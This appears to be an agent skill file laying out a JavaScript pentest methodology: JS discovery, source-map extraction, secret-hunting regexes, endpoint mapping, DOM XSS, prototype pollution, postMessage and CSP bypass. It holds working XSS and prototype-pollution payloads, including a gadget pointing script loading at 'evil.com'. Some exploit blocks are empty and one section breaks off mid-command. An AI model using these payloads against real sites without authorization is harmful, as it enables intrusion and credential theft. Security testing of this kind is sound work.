--- name: js-analyzer description: Full JavaScript analysis methodology for pentesting and bug bounty JS file discovery, secret extraction, endpoint mapping, DOM XSS, prototype pollution, postMessage abuse, client-side logic flaws, source map extraction, and hardcoded credential hunting. Trigger when the user wants to analyze JavaScript files from a target, asks to find endpoints/API routes/hidden parameters in JS bundles, wants to hunt for secrets or credentials in JS source, asks to test DOM XSS/prototype pollution/postMessage vulnerabilities, wants to deobfuscate or extract source maps, asks about client-side logic flaws or insecure storage, or mentions webpack/React/Angular/Vue/Next.js. license: MIT metadata: version: "1.0.0" author: Rifteo tags: ["javascript", "recon", "xss", "secrets", "prototype-pollution", "dom", "bug-bounty", "pentest"] --- # JS Analyzer — JavaScript Security Analysis JS files are often the most information-rich attack surface in a web application. A thorough JS review routinely yields: hidden API endpoints, hardcoded secrets, client-side authorization logic to bypass, insecure postMessage handlers, and vulnerable third-party libraries. Work through every phase in order. Stop and document each finding as you go. --- ## Phase 1 — JS File Discovery ### 1.1 Automated crawling ```bash # katana — best for SPAs and JS-heavy apps katana -u https://target.com -jc -d 5 -o js-urls.txt grep "\.js" js-urls.txt | sort -u # gau — historical URLs (Wayback + Common Crawl + OTX) gau target.com | grep "\.js$" | sort -u | tee gau-js.txt # waybackurls — Wayback Machine only waybackurls target.com | grep "\.js$" | sort -u # hakrawler — fast recursive crawl echo "https://target.com" | hakrawler -js -d 4 # gospider gospider -s "https://target.com" -c 10 -d 5 --js -o gospider-out/ ``` ### 1.2 Manual discovery ```bash # Fetch the root page and extract all script src attributes curl -s https://target.com | grep -oP '(?<=src=")[^"]+\.js[^"]*' # Check standard bundler output paths for path in /app.js /main.js /bundle.js /vendor.js /chunk.js \ /static/js/main.js /assets/js/app.js /dist/app.js \ /js/app.js /build/static/js/main.chunk.js; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path") [ "$code" = "200" ] && echo "[+] Found: $path" done # Webpack chunk discovery (chunks are numbered) for i in $(seq 0 20); do url="https://target.com/static/js/$i.chunk.js" code=$(curl -s -o /dev/null -w "%{http_code}" "$url") [ "$code" = "200" ] && echo "[+] Found: $url" done ``` ### 1.3 JS discovery from HTML and other JS files (recursive) ```bash # Download root page, extract JS, download each JS, extract more JS URLs from them python3 - << 'EOF' import re, requests, urllib.parse, sys TARGET = "https://target.com" visited = set() queue = [TARGET] js_files = set() def extract_js(text, base): for src in re.findall(r'(?:src|import)[=\s(]["\']([^"\']+\.js[^"\']*)["\']', text): yield urllib.parse.urljoin(base, src) while queue: url = queue.pop(0) if url in visited: continue visited.add(url) try: r = requests.get(url, timeout=10, headers={"User-Agent": "Mozilla/5.0"}) for js in extract_js(r.text, url): if js not in js_files: js_files.add(js) queue.append(js) except: pass for js in sorted(js_files): print(js) EOF ``` ### 1.4 Framework-specific paths | Framework | Default JS paths | |---|---| | Create React App | `/static/js/main.*.chunk.js`, `/static/js/*.chunk.js` | | Next.js | `/_next/static/chunks/*.js`, `/_next/static/js/*.js` | | Angular | `/main.*.js`, `/polyfills.*.js`, `/runtime.*.js` | | Vue CLI | `/js/app.*.js`, `/js/chunk-vendors.*.js` | | Nuxt.js | `/_nuxt/*.js` | | Vite | `/assets/*.js` | --- ## Phase 2 — Source Map Extraction Source maps reveal the original unminified source code of the application. ### 2.1 Detect source maps ```bash # Check the last line of a JS file for the source map URL comment curl -s "https://target.com/main.js" | tail -5 | grep sourceMappingURL # Or fetch directly curl -s "https://target.com/main.js.map" | python3 -m json.tool | head -20 curl -s "https://target.com/app.js.map" | python3 -m json.tool | head -20 ``` ### 2.2 Extract source from map ```bash # sourcemapper — extracts all original source files from .map go install github.com/denandz/sourcemapper@latest sourcemapper -url https://target.com/main.js.map -output ./sourcemap-out/ # unwebpack (Python) pip install unwebpack-sourcemap unwebpack_sourcemap https://target.com/main.js.map ./sourcemap-out/ # Manual extraction python3 - << 'EOF' import json, os, sys with open("main.js.map") as f: sm = json.load(f) for i, path in enumerate(sm.get("sources", [])): src = sm.get("sourcesContent", [])[i] if i < len(sm.get("sourcesContent", [])) else None if src: out = os.path.join("sourcemap-out", path.lstrip("./")) os.makedirs(os.path.dirname(out), exist_ok=True) with open(out, "w") as f2: f2.write(src) print(f"[+] {out}") EOF ``` ### 2.3 After extraction — what to look for Once you have the original source, proceed through all subsequent phases on the **unminified code**. Pay special attention to: - `// TODO`, `// FIXME`, `// HACK`, `// DEBUG` comments - Dev/test endpoints that aren't in production docs - Feature flag checks (`if (env === 'dev')`, `if (debug)`) - Admin route conditions (`if (user.role === 'admin')`) --- ## Phase 3 — Secret & Credential Hunting ### 3.1 Automated tools ```bash # trufflehog — high-accuracy entropy + pattern detection trufflehog filesystem ./sourcemap-out/ --only-verified trufflehog git file://./repo/ --only-verified # gitleaks — SAST for secrets gitleaks detect --source ./sourcemap-out/ -v # secretfinder — regex-based, JS-specific python3 SecretFinder.py -i https://target.com/main.js -o cli # jsluice — purpose-built JS secrets/URL extractor (Go) jsluice secrets https://target.com/main.js jsluice urls https://target.com/main.js # nuclei secrets template nuclei -u https://target.com -t exposures/tokens/ -severity medium,high,critical ``` ### 3.2 Manual regex patterns ```bash # Run against all downloaded JS files JS_DIR="./js-files" grep_js() { grep -rEn "$1" "$JS_DIR" 2>/dev/null | head -30 } # AWS grep_js 'AKIA[0-9A-Z]{16}' grep_js 'aws_secret|AWS_SECRET|AWSSecretKey' # Generic API keys grep_js '[aA][pP][iI]_?[kK][eE][yY]\s*[=:]\s*["\x27][A-Za-z0-9_\-]{16,}' grep_js '[tT]oken\s*[=:]\s*["\x27][A-Za-z0-9_\-\.]{20,}' # Stripe / Twilio / SendGrid / Slack grep_js 'sk_live_[0-9a-zA-Z]{24}' # Stripe secret grep_js 'pk_live_[0-9a-zA-Z]{24}' # Stripe public grep_js 'AC[a-z0-9]{32}' # Twilio SID grep_js 'SG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}' # SendGrid grep_js 'xox[baprs]-[0-9A-Za-z\-]+' # Slack token # Firebase / GCP / Azure grep_js 'AIza[0-9A-Za-z\-_]{35}' # Google API key grep_js '"type"\s*:\s*"service_account"' # GCP service account grep_js 'firebase[Uu][Rr][Ll]\s*[=:]' # GitHub / GitLab grep_js 'ghp_[A-Za-z0-9]{36}' # GitHub PAT grep_js 'glpat-[A-Za-z0-9\-_]{20}' # GitLab PAT # JWT / private keys grep_js 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' # JWT grep_js 'BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY' # Database connection strings grep_js 'mongodb(\+srv)?://[^"'\'']*:[^"'\'']*@' grep_js 'postgres(ql)?://[^"'\'']*:[^"'\'']*@' grep_js 'mysql://[^"'\'']*:[^"'\'']*@' # Passwords / secrets grep_js 'password\s*[=:]\s*["\x27][^"'\'']{6,}' grep_js 'secret\s*[=:]\s*["\x27][^"'\'']{8,}' grep_js 'client_secret\s*[=:]\s*["\x27]' ``` ### 3.3 Entropy scan (custom) ```python import math, re, sys def entropy(s): if not s: return 0 prob = [float(s.count(c)) / len(s) for c in set(s)] return -sum(p * math.log(p, 2) for p in prob) # Flag strings with high entropy (> 4.5 bits/char) and length > 20 pattern = re.compile(r'["\']([A-Za-z0-9+/=_\-\.]{20,})["\']') for path in sys.argv[1:]: with open(path) as f: for lineno, line in enumerate(f, 1): for m in pattern.finditer(line): s = m.group(1) e = entropy(s) if e > 4.5: print(f"{path}:{lineno} [entropy={e:.2f}] {s[:80]}") ``` --- ## Phase 4 — Endpoint & API Route Mapping ### 4.1 Extract URLs and paths ```bash # jsluice — best dedicated tool jsluice urls -R https://target.com/main.js | jq . # LinkFinder — comprehensive regex extraction python3 linkfinder.py -i https://target.com/main.js -o cli # getJS — collect all JS then extract links getJS --url https://target.com --complete --output js-files.txt # Manual grep grep -rEo '"(/[a-zA-Z0-9_/?=&\-\.%]+)"' ./js-files/ | grep -v '\.png\|\.svg\|\.css' | sort -u grep -rEo "fetch\(['\"][^'\"]+['\"]" ./js-files/ | sort -u grep -rEo "axios\.(get|post|put|delete|patch)\(['\"][^'\"]+['\"]" ./js-files/ | sort -u grep -rEo '(api|endpoint|baseURL|BASE_URL)\s*[=:]\s*["\x27][^"'\'']+' ./js-files/ | sort -u ``` ### 4.2 Parameter extraction ```bash # Find query parameters referenced in JS grep -rEo '[?&][a-zA-Z_][a-zA-Z0-9_]*=' ./js-files/ | sort -u # Find JSON body keys sent to APIs grep -rEo '"[a-zA-Z_][a-zA-Z0-9_]+":\s*(true|false|null|[0-9]+|"[^"]*")' ./js-files/ | \ grep -i 'id\|user\|admin\|token\|key\|secret\|pass\|role\|scope' | sort -u # Hidden parameters — look for feature flags and undocumented params grep -rEi 'debug|internal|beta|test|admin|staging|dev_mode|feature_flag' ./js-files/ | \ grep -v '^\s*//' | sort -u ``` ### 4.3 GraphQL introspection detection ```bash # Look for GraphQL operation names and fragments grep -rE 'query\s+\w+|mutation\s+\w+|subscription\s+\w+|gql`|GraphQL' ./js-files/ | head -30 # Find the GraphQL endpoint grep -rE '(graphql|gql)["\x27]?\s*[,\)]' ./js-files/ | grep -Eo '"[^"]*"' | sort -u # Test introspection (once endpoint found) curl -s -X POST "https://target.com/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name}}}}"}' ``` --- ## Phase 5 — DOM-Based XSS Analysis ### 5.1 Identify dangerous sinks ```bash # All high-risk sinks SINKS="innerHTML|outerHTML|insertAdjacentHTML|document\.write|document\.writeln|\ eval\(|setTimeout\(|setInterval\(|Function\(|new Function|execScript|\ location\.href|location\.assign|location\.replace|location=|window\.location|\ src=|href=|action=|formaction=" grep -rEn "$SINKS" ./js-files/ | grep -v '^\s*//' | sort -u | head -50 ``` ### 5.2 Identify controllable sources ```bash SOURCES="location\.search|location\.hash|location\.href|location\.pathname|\ document\.referrer|document\.URL|document\.documentURI|document\.baseURI|\ window\.name|history\.state|postMessage|localStorage\.getItem|sessionStorage\.getItem|\ document\.cookie|URLSearchParams|decodeURI|decodeURIComponent" grep -rEn "$SOURCES" ./js-files/ | grep -v '^\s*//' | sort -u | head -50 ``` ### 5.3 Trace source-to-sink flows For each source found, trace how the value flows to a sink: ``` Source → [optional transformation] → Sink document.location.search → decodeURIComponent() → innerHTML ← VULNERABLE document.location.hash → someVar → eval() ← VULNERABLE location.href → encodeURIComponent() → innerHTML ← likely safe (encoded) ``` ### 5.4 DOM XSS confirmation payloads ```html alert(document.domain) alert`1` (alert)(1) javascript:alert(document.domain) data:text/html, javascript:alert(1) ``` ### 5.5 URL hash / fragment XSS testing ```bash # If the app reads location.hash and writes it to the DOM: https://target.com/page# https://target.com/page#javascript:alert(1) # Double URL-encoded https://target.com/page#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E ``` ### 5.6 Automated DOM XSS scanning ```bash # dalfox — powerful DOM XSS scanner dalfox url "https://target.com/page?param=FUZZ" --skip-bav # domxssscanner (online) # https://domxssscanner.com # Burp DOM Invader — browser extension for tracing sources/sinks ``` --- ## Phase 6 — Prototype Pollution ### 6.1 Detect vulnerable patterns ```bash # Server-side PP (Node.js) — dangerous merge/extend/clone functions grep -rEn "merge\(|extend\(|clone\(|deepCopy\(|assign\(|defaultsDeep\(" ./js-files/ | \ grep -v '^\s*//' | head -30 # Look for recursive assignment patterns grep -rEn "\[key\]\s*=|obj\[prop\]|target\[k\]\s*=" ./js-files/ | head -20 # Look for prototype access grep -rEn "__proto__|constructor\.prototype|Object\.prototype" ./js-files/ | head -20 ``` ### 6.2 Client-side PP test payloads ``` # URL query string (if parsed with a vulnerable parser) ?__proto__[polluted]=1 ?constructor[prototype][polluted]=1 ?__proto__.polluted=1 # JSON body (if merged into an object) {"__proto__": {"polluted": "1"}} {"constructor": {"prototype": {"polluted": "1"}}} # Nested key notation (qs, query-string libraries) ?a[__proto__][polluted]=1 ?a[constructor][prototype][polluted]=1 ``` ### 6.3 Detect pollution ```javascript // In browser console — after sending the payload: console.log(({}).polluted); // → "1" if polluted console.log(Object.prototype.polluted); // → "1" if polluted ``` ### 6.4 Escalate: PP → XSS Common gadget chains: ```javascript // jQuery < 3.4.0 — $.extend deep merge $.extend(true, {}, JSON.parse(userInput)); // → pollute innerHTML, src, or events → XSS // sanitize-html / DOMPurify bypass via PP (CVE-2022-25887 style) {"__proto__": {"allowedTags": ["script"]}} // Common PP → XSS gadgets Object.prototype.innerHTML = "" Object.prototype.src = "https://evil.com/evil.js" Object.prototype.template = "" ``` ### 6.5 Automated PP detection ```bash # ppmap — browser-based PP gadget scanner node ppmap/ppmap.js "https://target.com" # ppfuzz ppfuzz -u "https://target.com/?param=FUZZ" # nuclei template nuclei -u https://target.com -t vulnerabilities/generic/prototype-pollution.yaml ``` --- ## Phase 7 — postMessage Vulnerabilities ### 7.1 Find postMessage handlers ```bash # Look for message event listeners grep -rEn "addEventListener\(['\"]message['\"]|on[Mm]essage\s*=" ./js-files/ | head -20 # Look for postMessage calls (sending side — reveals what's expected) grep -rEn "\.postMessage\(" ./js-files/ | head -20 # Look for origin validation (or lack of) grep -rEn "event\.origin|message\.origin|e\.origin" ./js-files/ | head -20 ``` ### 7.2 Vulnerable handler patterns ```javascript // VULNERABLE — no origin check window.addEventListener("message", function(e) { eval(e.data); }); // VULNERABLE — weak origin check window.addEventListener("message", function(e) { if (e.origin.includes("target.com")) { // bypassable with "evil-target.com" document.getElementById("div").innerHTML = e.data; } }); // VULNERABLE — checking wrong property window.addEventListener("message", function(e) { if (e.data.from === "trusted") { // data is attacker-controlled! doSomething(e.data.payload); } }); // SAFE — strict origin check window.addEventListener("message", function(e) { if (e.origin !== "https://trusted.com") return; // process e.data }); ``` ### 7.3 Exploitation ```html ``` ### 7.4 Origin bypass techniques ``` # If the check is: e.origin.includes("target.com") Use origin: https://evil-target.com # If the check is: e.origin.startsWith("https://target.com") Use origin: https://target.com.evil.com (if subdomains allowed) # If there's no check at all Use any origin — wildcard * works ``` --- ## Phase 8 — Client-Side Logic & Authorization Flaws ### 8.1 Role / admin checks in JS ```bash # Find client-side role/permission checks grep -rEin "isAdmin|is_admin|role\s*===|role\s*==|userRole|hasPermission|\ canAccess|isAuthenticated|isPremium|isModerator|isStaff|user\.admin" \ ./js-files/ | grep -v '^\s*//' | head -30 ``` ### 8.2 Feature flags and hidden UI ```bash # Feature flags / toggle conditions grep -rEin "featureFlag|feature_flag|launchDarkly|unleash|growthbook|\ enableFeature|if.*debug|if.*beta|if.*staging|if.*internal" \ ./js-files/ | head -30 # Hidden routes in SPA routers (React Router, Vue Router, Angular routes) grep -rEn "path:\s*['\"]| ``` --- ## Phase 12 — WebSocket Analysis ### 12.1 Find WebSocket connections ```bash # WebSocket connection setup in JS grep -rEin "new WebSocket|ws://|wss://|socket\.connect|io\.connect\|socket\.io" \ ./js-files/ | head -20 # Messages sent (what's the protocol?) grep -rEin "socket\.send\|\.emit\(|ws\.send" ./js-files/ | head -20 ``` ### 12.2 WebSocket origin bypass ```html ``` ### 12.3 Intercept WebSocket traffic Use Burp Suite's WebSocket history tab — intercept and replay messages to test: - Message tampering (change IDs, roles, amounts) - Missing authentication on individual message types - Injection in message parameters (SQLi, XSS, command injection) --- ## Phase 13 — CSP Analysis & Bypass ### 13.1 Extract and parse CSP ```bash # Fetch headers curl -s -I "https://target.com" | grep -i "content-security-policy" # Analyze with csp-evaluator curl -s -I "https://target.com" | grep -i content-security-policy | \ python3 -c "import sys; print(sys.stdin.read())" # Online tool: https://csp-evaluator.withgoogle.com ``` ### 13.2 Common CSP bypass techniques | Bypass | Condition | Payload | |---|---|---| | `unsafe-eval` | `script-src` includes `unsafe-eval` | `eval(atob("YWxlcnQoMSk="))` | | `unsafe-inline` | `script-src` includes `unsafe-inline` | `` | | JSONP endpoint | `script-src` whitelists a domain with JSONP | `